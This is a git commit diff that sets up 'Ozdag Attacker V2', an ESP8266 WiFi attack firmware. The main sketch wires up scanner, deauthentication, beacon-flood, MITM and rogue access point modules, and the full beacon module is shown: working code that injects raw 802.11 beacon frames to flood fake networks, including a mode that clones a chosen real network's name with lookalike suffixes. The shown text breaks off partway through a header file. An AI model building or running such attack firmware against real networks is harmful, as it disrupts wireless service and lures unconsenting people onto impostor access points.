Initial commit with project setup and basic structure established.
This commit is contained in:
parent
52be3783f9
commit
75de899bfa
165
ESP8266_Ozdag_Attacker_V2.ino
Normal file
165
ESP8266_Ozdag_Attacker_V2.ino
Normal file
@ -0,0 +1,165 @@
|
||||
/*
|
||||
* ESP8266 Ozdag Attacker V2
|
||||
*
|
||||
* A redesigned WiFi testing tool for ESP8266.
|
||||
* Starting fresh with a new structure.
|
||||
*/
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "src/config.h"
|
||||
#include "src/ui.h"
|
||||
#include "src/utils.h"
|
||||
// Include headers for attack modules
|
||||
#include "src/scanner.h"
|
||||
#include "src/deauth.h"
|
||||
#include "src/beacon.h"
|
||||
#include "src/mitm.h"
|
||||
#include "src/rogue_ap.h"
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
Serial.println("\n\nESP8266 Ozdag Attacker V2 Booting...");
|
||||
|
||||
// Initialize UI (OLED, Button)
|
||||
Serial.println("Initializing OLED...");
|
||||
if (!oled.begin()) {
|
||||
Serial.println("!!! OLED initialization failed!");
|
||||
// Optional: loop forever or indicate error differently
|
||||
while(1) delay(100);
|
||||
} else {
|
||||
Serial.println("OLED Initialized OK.");
|
||||
|
||||
// --- Start Matrix Boot Animation ---
|
||||
const char* bootText = "Ozdag Attacker V2";
|
||||
int textWidth = 0;
|
||||
int textHeight = 10; // Approx height for 6x10 font
|
||||
int textX, textY;
|
||||
|
||||
const int NUM_STREAMS = 20; // Number of falling character streams
|
||||
int streamY[NUM_STREAMS];
|
||||
int streamX[NUM_STREAMS];
|
||||
int streamSpeed[NUM_STREAMS];
|
||||
const int streamLen = 5; // How many chars trail behind the leader
|
||||
const int charHeight = 7; // Approx height for 5x7 font
|
||||
|
||||
int animDuration = 3000; // Total animation duration in ms
|
||||
int stepDelay = 50; // Delay between frames
|
||||
unsigned long animStartTime = millis();
|
||||
|
||||
// Initialize streams
|
||||
for (int i = 0; i < NUM_STREAMS; ++i) {
|
||||
streamX[i] = random(0, SCREEN_WIDTH / 5) * 5; // Align to 5px grid roughly
|
||||
streamY[i] = random(-SCREEN_HEIGHT * 2, 0); // Start off-screen
|
||||
streamSpeed[i] = random(2, 6); // Random speeds
|
||||
}
|
||||
|
||||
oled.setFont(u8g2_font_6x10_tf); // Font for main text
|
||||
textWidth = oled.getStrWidth(bootText);
|
||||
textX = (SCREEN_WIDTH - textWidth) / 2;
|
||||
textY = SCREEN_HEIGHT - textHeight - 5; // Position text towards bottom
|
||||
|
||||
while (millis() - animStartTime < animDuration) {
|
||||
oled.clearBuffer();
|
||||
oled.setFont(u8g2_font_5x7_tf); // Font for rain
|
||||
|
||||
// Draw and update streams
|
||||
for (int i = 0; i < NUM_STREAMS; ++i) {
|
||||
// Draw stream tail (dimmer or different chars could be used)
|
||||
for (int j = 1; j <= streamLen; ++j) {
|
||||
int y = streamY[i] - (j * charHeight);
|
||||
if (y > 0 && y < SCREEN_HEIGHT) {
|
||||
// Use a random character for the rain
|
||||
char randomChar = (char)random(33, 127); // Printable ASCII
|
||||
oled.drawGlyph(streamX[i], y, randomChar);
|
||||
}
|
||||
}
|
||||
|
||||
// Draw leading character (brighter/different? just random for now)
|
||||
if (streamY[i] > 0 && streamY[i] < SCREEN_HEIGHT) {
|
||||
char randomChar = (char)random(33, 127);
|
||||
oled.drawGlyph(streamX[i], streamY[i], randomChar);
|
||||
}
|
||||
|
||||
// Update position
|
||||
streamY[i] += streamSpeed[i];
|
||||
|
||||
// Reset if off screen
|
||||
if (streamY[i] - (streamLen * charHeight) > SCREEN_HEIGHT) {
|
||||
streamX[i] = random(0, SCREEN_WIDTH / 5) * 5;
|
||||
streamY[i] = random(-charHeight * streamLen, 0); // Reset near top
|
||||
streamSpeed[i] = random(2, 6);
|
||||
}
|
||||
}
|
||||
|
||||
// --- Draw Static Text ---
|
||||
oled.setFont(u8g2_font_6x10_tf); // Switch font for title
|
||||
oled.setDrawColor(1); // Ensure foreground color
|
||||
// Optional: Draw a black box behind text for better visibility
|
||||
// oled.setDrawColor(0);
|
||||
// oled.drawBox(textX - 1, textY - textHeight, textWidth + 2, textHeight + 2);
|
||||
// oled.setDrawColor(1);
|
||||
oled.drawStr(textX, textY, bootText);
|
||||
|
||||
oled.sendBuffer();
|
||||
delay(stepDelay);
|
||||
}
|
||||
// --- End Matrix Boot Animation ---
|
||||
|
||||
// Clear buffer before showing next init messages if desired
|
||||
// oled.clearBuffer();
|
||||
// oled.sendBuffer();
|
||||
}
|
||||
|
||||
ui_init();
|
||||
Serial.println("UI Initialized.");
|
||||
|
||||
// Initialize WiFi in a known state (STA mode, disconnected)
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect();
|
||||
Serial.println("WiFi Initialized (STA Mode, Disconnected).");
|
||||
|
||||
// Initialize attack/scanner modules (call their init functions here)
|
||||
// Note: Initialization order might matter later depending on dependencies
|
||||
scanner_init(); // <<< RESTORE
|
||||
deauth_init(); // <<< RESTORE
|
||||
beacon_init(); // <<< RESTORE
|
||||
// dos_init(); // Removed
|
||||
mitm_init(); // <<< UNCOMMENT
|
||||
rogue_ap_init(); // <<< UNCOMMENT/RESTORE
|
||||
Serial.println("Modules Initialized."); // <<< RESTORE
|
||||
|
||||
Serial.println("Setup Complete.");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
// Button handling and drawing are now managed within ui_update()
|
||||
ui_update();
|
||||
|
||||
// Update based on current UI state
|
||||
switch (currentState) {
|
||||
case UIState::MAIN_MENU:
|
||||
// Nothing module-specific runs here
|
||||
break;
|
||||
case UIState::SCANNER_MODE:
|
||||
scanner_update(); // <<< RESTORE
|
||||
break;
|
||||
case UIState::DEAUTH_MODE:
|
||||
deauth_update(); // <<< RESTORE
|
||||
break;
|
||||
case UIState::BEACON_MODE:
|
||||
beacon_update(); // <<< RESTORE
|
||||
break;
|
||||
case UIState::MITM_MODE:
|
||||
mitm_update(); // <<< UNCOMMENT
|
||||
break;
|
||||
case UIState::ROGUE_AP_MODE:
|
||||
rogue_ap_update(); // <<< UNCOMMENT/RESTORE
|
||||
break;
|
||||
default:
|
||||
// Handle unknown state? Maybe just yield.
|
||||
break;
|
||||
}
|
||||
|
||||
yield(); // Allow background tasks
|
||||
}
|
18
platformio.ini
Normal file
18
platformio.ini
Normal file
@ -0,0 +1,18 @@
|
||||
; PlatformIO Project Configuration File
|
||||
;
|
||||
; Build options: build flags, source filter
|
||||
; Upload options: custom upload port, speed and extra flags
|
||||
; Library options: dependencies, extra library storages
|
||||
; Advanced options: extra scripting
|
||||
;
|
||||
; Please visit documentation for the other options and examples
|
||||
; https://docs.platformio.org/page/projectconf.html
|
||||
|
||||
[env:nodemcuv3]
|
||||
platform = espressif8266
|
||||
board = nodemcuv3
|
||||
framework = arduino
|
||||
monitor_speed = 115200
|
||||
lib_deps =
|
||||
; OLED Display Library
|
||||
olikraus/U8g2 @ ^2.35.8
|
465
src/beacon.cpp
Normal file
465
src/beacon.cpp
Normal file
@ -0,0 +1,465 @@
|
||||
#include "beacon.h"
|
||||
#include "ui.h" // For drawing, state access, OLED
|
||||
#include "utils.h" // For random MAC, etc.
|
||||
#include "config.h" // <<< Ensures MAX_LINES_PER_SCREEN is visible
|
||||
#include "scanner.h" // <<< Included via beacon.h, ensures MAX_APS is visible
|
||||
#include <U8g2lib.h> // For OLED drawing
|
||||
#include <cstring> // For memcpy, strlen
|
||||
#include <cstddef> // For offsetof
|
||||
#include <algorithm> // For std::min
|
||||
|
||||
// --- Global Variable Definitions ---
|
||||
bool beacon_flood_active = false;
|
||||
uint8_t beacon_target_ap_bssid[6] = {0};
|
||||
char beacon_target_ap_ssid[33] = {0};
|
||||
uint8_t beacon_target_ap_channel = 0;
|
||||
|
||||
// --- Internal State ---
|
||||
static BeaconStateType currentBeaconState = BeaconStateType::MODE_SELECTION; // Start at mode selection
|
||||
static unsigned long last_beacon_time = 0;
|
||||
static unsigned long last_redraw_time = 0; // <<< Add timer for redraw
|
||||
static unsigned long last_channel_hop_time = 0;
|
||||
static uint8_t current_beacon_channel = 1;
|
||||
static uint32_t beacon_packets_sent = 0;
|
||||
static int current_ssid_index = 0;
|
||||
static int selected_mode_index = 0; // 0 = Random, 1 = Target
|
||||
static int target_ssid_variation_index = 0; // Index for cycling through variations
|
||||
static const char* mode_names[] = {"Random", "Target"};
|
||||
|
||||
// Target AP Selection state
|
||||
static int selected_ap_index = 0; // Index within the *scanner's* ap_list
|
||||
static int ap_display_offset = 0; // For scrolling AP list
|
||||
|
||||
// Access scanner data (ensure scanner.h included and these are accessible)
|
||||
extern AccessPointInfo ap_list[MAX_APS];
|
||||
extern uint8_t ap_count;
|
||||
|
||||
// --- SSID List for Flooding ---
|
||||
// Example list - can be expanded or loaded from SD card later
|
||||
static const char* beacon_ssid_list[MAX_BEACON_SSIDS] = {
|
||||
"Free Public WiFi", "Airport WiFi", "Coffee Shop Guest", "Hotel Guest",
|
||||
"FBI Surveillance Van", "Totally Legit Network", "Virus Update Server",
|
||||
"Your AP Sucks", "Upgrade Now!", "Network Not Found", "Loading...",
|
||||
"Hidden Network", "Pretty Fly for a Wi-Fi", "Get Off My LAN",
|
||||
"Definitely Not a Trap", "Secure Network", "Guest Access Point",
|
||||
"Mobile Hotspot", "Connect Here", "Ozdag Attacker"
|
||||
};
|
||||
static const int beacon_ssid_list_count = sizeof(beacon_ssid_list) / sizeof(char*);
|
||||
|
||||
// --- Target Mode SSID Variations ---
|
||||
static const char* target_suffixes[] = {
|
||||
"", // Original SSID
|
||||
".",
|
||||
"..",
|
||||
" guest",
|
||||
" Setup",
|
||||
"_EXT",
|
||||
"-5G", // Common variations
|
||||
" Free WiFi"
|
||||
};
|
||||
static const int num_target_suffixes = sizeof(target_suffixes) / sizeof(target_suffixes[0]);
|
||||
|
||||
// --- External UI Elements ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
||||
extern bool needsRedraw;
|
||||
extern UIState currentState; // To return to main menu
|
||||
|
||||
// --- Constants (Defined in beacon.h) ---
|
||||
// #define BEACON_PACKET_INTERVAL 10
|
||||
// #define BEACON_CHANNEL_HOP_INTERVAL 500 // <<< REMOVE duplicate definition
|
||||
// #define MAX_BEACON_SSIDS 20
|
||||
// #define MAX_SSID_LEN 32
|
||||
|
||||
// --- Beacon Packet Structure ---
|
||||
// Based on common beacon frame fields
|
||||
typedef struct {
|
||||
frame_control_t frame_control; // Type: Mgmt, Subtype: Beacon (0x80)
|
||||
uint16_t duration_id; // Typically 0
|
||||
uint8_t addr1[6]; // Destination: Broadcast (FF:FF:FF:FF:FF:FF)
|
||||
uint8_t addr2[6]; // Source: Random BSSID
|
||||
uint8_t addr3[6]; // BSSID: Same as Source
|
||||
uint16_t seq_ctrl; // Sequence number (auto-incremented by SDK if sys_seq=true?)
|
||||
// --- Wireless Management Fields ---
|
||||
uint64_t timestamp; // Typically 0 or current time (can be fixed)
|
||||
uint16_t beacon_interval; // Time between beacons (e.g., 100 TU = 102.4ms)
|
||||
uint16_t capability_info; // Capabilities (e.g., 0x0411 for ESS, Privacy, Short Preamble)
|
||||
// --- Tagged Parameters ---
|
||||
// Tag: SSID parameter set (0)
|
||||
uint8_t ssid_tag_num; // 0
|
||||
uint8_t ssid_len; // Length of SSID
|
||||
uint8_t ssid[MAX_SSID_LEN]; // SSID itself
|
||||
// Tag: Supported Rates (1)
|
||||
uint8_t rates_tag_num; // 1
|
||||
uint8_t rates_len; // Number of rates (e.g., 8)
|
||||
uint8_t rates[8]; // Example: 1, 2, 5.5, 11, 6, 9, 12, 18 Mbps (basic rates marked with 0x80 bit)
|
||||
// Tag: DS Parameter set (3)
|
||||
uint8_t ds_tag_num; // 3
|
||||
uint8_t ds_len; // 1
|
||||
uint8_t ds_channel; // Current channel
|
||||
// Optional: Add more tags like TIM, Country, RSN if needed
|
||||
} __attribute__((packed)) beacon_packet_t; // Use packed attribute for precise layout
|
||||
|
||||
// Define standard supported rates (802.11b/g) - Basic rates have MSB set
|
||||
static const uint8_t default_rates[] = {0x82, 0x84, 0x8B, 0x96, 0x0C, 0x12, 0x18, 0x24}; // 1, 2, 5.5, 11, 6, 9, 12, 18 Mbps
|
||||
static const uint8_t default_rates_len = sizeof(default_rates);
|
||||
|
||||
static beacon_packet_t beacon_packet; // Reusable packet buffer
|
||||
|
||||
// --- Initialization ---
|
||||
void beacon_init() {
|
||||
Serial.println("Beacon Module Initialized.");
|
||||
currentBeaconState = BeaconStateType::MODE_SELECTION; // Start at mode selection
|
||||
beacon_flood_active = false;
|
||||
current_beacon_channel = 1;
|
||||
last_beacon_time = 0;
|
||||
last_channel_hop_time = 0;
|
||||
beacon_packets_sent = 0;
|
||||
current_ssid_index = 0;
|
||||
selected_mode_index = 0;
|
||||
selected_ap_index = 0;
|
||||
ap_display_offset = 0;
|
||||
memset(beacon_target_ap_bssid, 0, 6);
|
||||
memset(beacon_target_ap_ssid, 0, 33);
|
||||
beacon_target_ap_channel = 0;
|
||||
|
||||
// Ensure WiFi is in a state suitable for injection (promiscuous STA)
|
||||
// This might already be set by deauth_init, but good to ensure
|
||||
wifi_promiscuous_enable(0); // Disable first to reset if needed
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
// wifi_promiscuous_enable(1); // <<< COMMENT THIS OUT FOR NOW
|
||||
// Serial.println("Beacon Init: Promiscuous mode enabled."); // <<< COMMENT THIS OUT
|
||||
|
||||
// Set initial channel (will be overridden if target mode selected)
|
||||
// Don't set channel here, wait until flooding starts
|
||||
// wifi_set_channel(current_beacon_channel);
|
||||
// Serial.printf("Beacon Init: Set initial channel to %d\n", current_beacon_channel);
|
||||
|
||||
needsRedraw = true; // Trigger UI redraw for the beacon screen
|
||||
}
|
||||
|
||||
// --- Stop Function ---
|
||||
void beacon_stop() {
|
||||
if (beacon_flood_active) {
|
||||
beacon_flood_active = false;
|
||||
currentBeaconState = BeaconStateType::MODE_SELECTION; // Return to mode selection
|
||||
Serial.println("Beacon Flood Stopped.");
|
||||
// Optional: Restore original channel? Disable promiscuous?
|
||||
wifi_promiscuous_enable(0); // <<< Disable promiscuous mode on stop
|
||||
Serial.println("Beacon Stop: Disabled promiscuous mode.");
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Update Loop ---
|
||||
void beacon_update() {
|
||||
// Only run flooding logic if in a flooding state and active
|
||||
if (!beacon_flood_active || (currentBeaconState != BeaconStateType::FLOODING_RANDOM && currentBeaconState != BeaconStateType::FLOODING_TARGET)) {
|
||||
return; // Only run logic when actively flooding
|
||||
}
|
||||
|
||||
unsigned long current_time = millis();
|
||||
bool packet_sent_this_cycle = false; // Flag to check if we sent a packet
|
||||
|
||||
// --- Channel Hopping (Only for Random Mode) ---
|
||||
if (currentBeaconState == BeaconStateType::FLOODING_RANDOM) {
|
||||
if (current_time - last_channel_hop_time > BEACON_CHANNEL_HOP_INTERVAL) {
|
||||
current_beacon_channel = (current_beacon_channel % 14) + 1; // Cycle 1-14
|
||||
bool channel_set_ok = wifi_set_channel(current_beacon_channel);
|
||||
last_channel_hop_time = current_time;
|
||||
// Only log if failed, to reduce spam
|
||||
if (!channel_set_ok) {
|
||||
Serial.printf("Beacon Random: Set channel %d -> FAIL\n", current_beacon_channel);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Note: For FLOODING_TARGET, the channel is fixed and set when starting the flood.
|
||||
|
||||
// --- Send Beacon Packet ---
|
||||
if (current_time - last_beacon_time > BEACON_PACKET_INTERVAL) {
|
||||
// 1. Select SSID based on mode
|
||||
// Use a temporary buffer for the SSID to send
|
||||
char ssid_to_send[MAX_SSID_LEN + 1] = {0};
|
||||
uint8_t ssid_len_to_send = 0;
|
||||
|
||||
if (currentBeaconState == BeaconStateType::FLOODING_RANDOM) {
|
||||
// Use SSID from list
|
||||
strncpy(ssid_to_send, beacon_ssid_list[current_ssid_index], MAX_SSID_LEN);
|
||||
ssid_len_to_send = strlen(ssid_to_send);
|
||||
// Cycle to next list SSID for next time
|
||||
current_ssid_index = (current_ssid_index + 1) % beacon_ssid_list_count;
|
||||
} else { // FLOODING_TARGET
|
||||
// --- Generate SSID Variation for Target Mode ---
|
||||
const char* base_ssid = beacon_target_ap_ssid;
|
||||
const char* suffix = target_suffixes[target_ssid_variation_index];
|
||||
size_t base_len = strlen(base_ssid);
|
||||
size_t suffix_len = strlen(suffix);
|
||||
|
||||
// Construct the SSID, ensuring it fits MAX_SSID_LEN
|
||||
if (base_len + suffix_len <= MAX_SSID_LEN) {
|
||||
snprintf(ssid_to_send, sizeof(ssid_to_send), "%s%s", base_ssid, suffix);
|
||||
} else {
|
||||
// Suffix doesn't fit, just use the base SSID (truncated if necessary)
|
||||
strncpy(ssid_to_send, base_ssid, MAX_SSID_LEN);
|
||||
}
|
||||
ssid_len_to_send = strlen(ssid_to_send); // Get length of the final SSID
|
||||
|
||||
target_ssid_variation_index = (target_ssid_variation_index + 1) % num_target_suffixes; // Cycle to next suffix for the next packet
|
||||
}
|
||||
|
||||
// 2. Generate random BSSID (Source MAC) - Use random for both modes for now
|
||||
uint8_t random_mac[6];
|
||||
utils_random_mac(random_mac); // Use utility function
|
||||
|
||||
// 3. Fill beacon_packet structure
|
||||
// Frame Control: Type Mgmt (00), Subtype Beacon (1000) -> 0x80
|
||||
beacon_packet.frame_control.type = 0; // Management
|
||||
beacon_packet.frame_control.subtype = 8; // Beacon
|
||||
beacon_packet.frame_control.flags = 0x00; // Set all flags (ToDS, FromDS, MoreFrag, Retry, PwrMgmt, MoreData, Protected, Order) to 0 for open network
|
||||
|
||||
beacon_packet.duration_id = 0;
|
||||
memset(beacon_packet.addr1, 0xFF, 6); // Destination: Broadcast
|
||||
memcpy(beacon_packet.addr2, random_mac, 6); // Source: Random MAC
|
||||
memcpy(beacon_packet.addr3, random_mac, 6); // BSSID: Random MAC
|
||||
beacon_packet.seq_ctrl = 0; // Let SDK handle sequence number (sys_seq=true)
|
||||
|
||||
beacon_packet.timestamp = 0; // Can be micros() but 0 is fine
|
||||
beacon_packet.beacon_interval = 100; // 100 TU = 102.4 ms
|
||||
beacon_packet.capability_info = 0x0411; // ESS, Short Preamble, Short Slot Time (Open Network)
|
||||
// Use 0x0431 if you want to set the Protected Frame bit in flags to 1 (beacon_packet.frame_control.flags = 0x40;)
|
||||
|
||||
// Tagged Parameters
|
||||
beacon_packet.ssid_tag_num = 0; // Tag 0: SSID
|
||||
beacon_packet.ssid_len = ssid_len_to_send;
|
||||
memcpy(beacon_packet.ssid, ssid_to_send, ssid_len_to_send);
|
||||
|
||||
beacon_packet.rates_tag_num = 1; // Tag 1: Supported Rates
|
||||
beacon_packet.rates_len = default_rates_len;
|
||||
memcpy(beacon_packet.rates, default_rates, default_rates_len);
|
||||
|
||||
beacon_packet.ds_tag_num = 3; // Tag 3: DS Parameter Set (Channel)
|
||||
beacon_packet.ds_len = 1;
|
||||
beacon_packet.ds_channel = current_beacon_channel;
|
||||
|
||||
// 4. Calculate actual packet size
|
||||
// Correct calculation: Size up to SSID field + Tag overhead + Actual SSID Len + Rates Tag overhead + Rates Len + DS Tag overhead + DS Channel Len
|
||||
size_t packet_size = offsetof(beacon_packet_t, ssid) // Size up to SSID field start
|
||||
+ 2 // SSID Tag Num (1) + SSID Len (1)
|
||||
+ ssid_len_to_send // Actual SSID length
|
||||
+ 2 // Rates Tag Num (1) + Rates Len (1)
|
||||
+ default_rates_len // Actual rates length
|
||||
+ 2 // DS Tag Num (1) + DS Len (1)
|
||||
+ 1; // DS Channel (1 byte)
|
||||
|
||||
// 4. Call wifi_send_pkt_freedom
|
||||
int result = wifi_send_pkt_freedom((uint8_t*)&beacon_packet, packet_size, false); // sys_seq=false for now
|
||||
|
||||
// <<< Log EVERY send attempt and result >>>
|
||||
Serial.printf("Beacon Send: Ch=%d, SSID='%s', Size=%d, Result=%d\n",
|
||||
current_beacon_channel, ssid_to_send, packet_size, result);
|
||||
|
||||
if (result == 0) { // Check if sending was successful
|
||||
beacon_packets_sent++; // Increment only on success
|
||||
packet_sent_this_cycle = true; // Mark that we sent one
|
||||
} else {
|
||||
Serial.printf("!!! Beacon send failed! Result: %d\n", result); // <<< Log failures
|
||||
}
|
||||
|
||||
last_beacon_time = current_time;
|
||||
}
|
||||
|
||||
// --- Trigger Redraw Periodically ---
|
||||
// Update roughly twice per second if packets were sent
|
||||
if (packet_sent_this_cycle && (current_time - last_redraw_time > 500)) {
|
||||
needsRedraw = true;
|
||||
last_redraw_time = current_time;
|
||||
}
|
||||
|
||||
// Yield occasionally to prevent WDT resets
|
||||
yield();
|
||||
}
|
||||
|
||||
// --- UI Drawing Function ---
|
||||
// Helper to draw AP list for selection
|
||||
void beacon_draw_target_selection() {
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for title
|
||||
int y = 22; // Start position below header
|
||||
oled.drawStr(0, y, "Select Target AP:");
|
||||
y += 10; // Move down for the list
|
||||
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for list items
|
||||
int line_height = 9; // Adjusted line height for 5x7 font
|
||||
const int items_per_page = 3; // Show 3 items
|
||||
|
||||
// Adjust offset if selection goes off screen
|
||||
if (selected_ap_index < ap_display_offset) {
|
||||
ap_display_offset = selected_ap_index;
|
||||
}
|
||||
// Ensure offset doesn't make selection go past the last item on the screen
|
||||
if (selected_ap_index >= ap_display_offset + items_per_page) {
|
||||
ap_display_offset = selected_ap_index - items_per_page + 1;
|
||||
}
|
||||
// Ensure offset doesn't go beyond possible start indices
|
||||
if (ap_count > items_per_page && ap_display_offset > ap_count - items_per_page) {
|
||||
ap_display_offset = ap_count - items_per_page;
|
||||
}
|
||||
if (ap_display_offset < 0) { // Prevent negative offset
|
||||
ap_display_offset = 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < items_per_page; ++i) { // Loop only 3 times
|
||||
int current_ap_list_index = ap_display_offset + i;
|
||||
if (current_ap_list_index >= ap_count) break; // Don't draw past the end
|
||||
|
||||
AccessPointInfo* ap = &ap_list[current_ap_list_index];
|
||||
char line_buffer[40]; // Buffer for SSID + channel
|
||||
|
||||
// Indicate selection
|
||||
char indicator = (current_ap_list_index == selected_ap_index) ? '>' : ' ';
|
||||
|
||||
// Format SSID (truncate if needed) and channel
|
||||
snprintf(line_buffer, sizeof(line_buffer), "%c%.16s (%d)",
|
||||
indicator,
|
||||
ap->ssid[0] == '\0' ? "[Hidden]" : ap->ssid, // Handle hidden SSIDs
|
||||
ap->channel);
|
||||
|
||||
oled.drawStr(0, y + i * line_height, line_buffer); // Use adjusted line_height
|
||||
}
|
||||
|
||||
if (ap_count == 0) {
|
||||
oled.setFont(u8g2_font_6x10_tf); // Switch back for message
|
||||
oled.drawStr(10, 40, "No APs found!");
|
||||
oled.drawStr(10, 55, "Run Scanner first.");
|
||||
}
|
||||
|
||||
// Draw scroll indicators if necessary
|
||||
if (ap_count > items_per_page) {
|
||||
if (ap_display_offset > 0) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow (position adjusted)
|
||||
}
|
||||
if (ap_display_offset + items_per_page < ap_count) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow
|
||||
}
|
||||
}
|
||||
|
||||
oled.setFont(u8g2_font_5x7_tf); // Ensure smaller font for footer
|
||||
oled.drawStr(0, SCREEN_HEIGHT -1, "SHORT:Next LONG:Select");
|
||||
// Reset font if needed before returning (good practice)
|
||||
oled.setFont(u8g2_font_6x10_tf);
|
||||
}
|
||||
|
||||
void beacon_draw() {
|
||||
// Draw UI based on currentBeaconState
|
||||
oled.setFont(u8g2_font_6x10_tf); // Consistent font
|
||||
|
||||
switch (currentBeaconState) {
|
||||
case BeaconStateType::MODE_SELECTION:
|
||||
oled.drawStr(0, 25, "Beacon Flood Mode:");
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
char indicator = (i == selected_mode_index) ? '>' : ' ';
|
||||
oled.drawStr(10, 40 + i * 12, String(indicator + String(mode_names[i])).c_str());
|
||||
}
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for footer
|
||||
oled.drawStr(0, SCREEN_HEIGHT -1, "SHORT:Next LONG:Select");
|
||||
oled.setFont(u8g2_font_6x10_tf); // Reset font if needed for other parts
|
||||
break;
|
||||
case BeaconStateType::SELECT_TARGET_AP:
|
||||
beacon_draw_target_selection(); // Call helper
|
||||
break;
|
||||
case BeaconStateType::FLOODING_RANDOM:
|
||||
case BeaconStateType::FLOODING_TARGET: // Same display for both flooding modes
|
||||
oled.drawStr(0, 25, "Beacon Flood Active!");
|
||||
char count_str[30];
|
||||
snprintf(count_str, sizeof(count_str), "Sent: %lu", beacon_packets_sent);
|
||||
oled.drawStr(0, 40, count_str);
|
||||
char chan_str[20];
|
||||
// Show target SSID/Channel if target mode
|
||||
if (currentBeaconState == BeaconStateType::FLOODING_TARGET) {
|
||||
snprintf(chan_str, sizeof(chan_str), "Tgt: %.10s Ch:%d", beacon_target_ap_ssid, current_beacon_channel);
|
||||
} else {
|
||||
snprintf(chan_str, sizeof(chan_str), "Channel: %d (Hop)", current_beacon_channel);
|
||||
}
|
||||
oled.drawStr(0, 55, chan_str);
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for footer
|
||||
oled.drawStr(0, SCREEN_HEIGHT -1, "LONG: Stop");
|
||||
oled.setFont(u8g2_font_6x10_tf); // Reset font
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Input Handling Function ---
|
||||
void beacon_handle_input(ButtonPressType pressType) {
|
||||
switch (currentBeaconState) {
|
||||
case BeaconStateType::MODE_SELECTION:
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
selected_mode_index = (selected_mode_index + 1) % 2;
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
if (selected_mode_index == 0) { // Random selected
|
||||
// Start Random flooding
|
||||
beacon_flood_active = true;
|
||||
currentBeaconState = BeaconStateType::FLOODING_RANDOM;
|
||||
beacon_packets_sent = 0;
|
||||
current_beacon_channel = 1; // Start channel hopping at 1
|
||||
wifi_set_channel(current_beacon_channel);
|
||||
last_channel_hop_time = millis();
|
||||
last_beacon_time = millis();
|
||||
current_ssid_index = 0;
|
||||
Serial.println("Beacon Flood Started (Random Mode).");
|
||||
// <<< Enable Promiscuous Mode >>>
|
||||
wifi_promiscuous_enable(1);
|
||||
Serial.println("Beacon Start (Random): Enabled promiscuous mode.");
|
||||
needsRedraw = true;
|
||||
} else { // Target selected
|
||||
// Go to AP selection screen
|
||||
currentBeaconState = BeaconStateType::SELECT_TARGET_AP;
|
||||
selected_ap_index = 0; // Reset selection
|
||||
ap_display_offset = 0;
|
||||
needsRedraw = true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case BeaconStateType::SELECT_TARGET_AP:
|
||||
if (ap_count == 0) { // No APs to select
|
||||
if (pressType == ButtonPressType::LONG_PRESS) { // Go back
|
||||
currentBeaconState = BeaconStateType::MODE_SELECTION;
|
||||
needsRedraw = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
selected_ap_index = (selected_ap_index + 1) % ap_count;
|
||||
needsRedraw = true;
|
||||
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
// Target AP selected, store its info
|
||||
AccessPointInfo* target_ap = &ap_list[selected_ap_index];
|
||||
memcpy(beacon_target_ap_bssid, target_ap->bssid, 6);
|
||||
strncpy(beacon_target_ap_ssid, target_ap->ssid, 32);
|
||||
beacon_target_ap_ssid[32] = '\0'; // Ensure null termination
|
||||
beacon_target_ap_channel = target_ap->channel;
|
||||
|
||||
// Start Target flooding
|
||||
beacon_flood_active = true;
|
||||
currentBeaconState = BeaconStateType::FLOODING_TARGET;
|
||||
beacon_packets_sent = 0;
|
||||
current_beacon_channel = beacon_target_ap_channel; // Use target channel
|
||||
Serial.printf("Beacon Start: Setting fixed channel %d for target '%s'\n", current_beacon_channel, beacon_target_ap_ssid);
|
||||
wifi_set_channel(current_beacon_channel);
|
||||
last_beacon_time = millis();
|
||||
// No channel hopping, so last_channel_hop_time isn't used here
|
||||
// <<< Enable Promiscuous Mode >>>
|
||||
wifi_promiscuous_enable(1);
|
||||
Serial.println("Beacon Start (Target): Enabled promiscuous mode.");
|
||||
needsRedraw = true;
|
||||
Serial.println("Beacon Flood Started (Target Mode).");
|
||||
}
|
||||
break;
|
||||
|
||||
case BeaconStateType::FLOODING_RANDOM:
|
||||
case BeaconStateType::FLOODING_TARGET:
|
||||
if (pressType == ButtonPressType::LONG_PRESS) {
|
||||
beacon_stop(); // Use the stop function
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
45
src/beacon.h
Normal file
45
src/beacon.h
Normal file
@ -0,0 +1,45 @@
|
||||
#ifndef BEACON_H
|
||||
#define BEACON_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <ESP8266WiFi.h> // For MAC address type, channel functions
|
||||
#include "ui.h" // For ButtonPressType, UIState access
|
||||
#include "scanner.h" // <<< INCLUDE for AccessPointInfo definition
|
||||
|
||||
// --- Beacon Module States ---
|
||||
enum class BeaconStateType {
|
||||
MODE_SELECTION, // Choose between Random / Target
|
||||
SELECT_TARGET_AP, // Show AP list from scanner to choose target
|
||||
FLOODING_RANDOM, // Flooding random SSIDs from list (old behavior)
|
||||
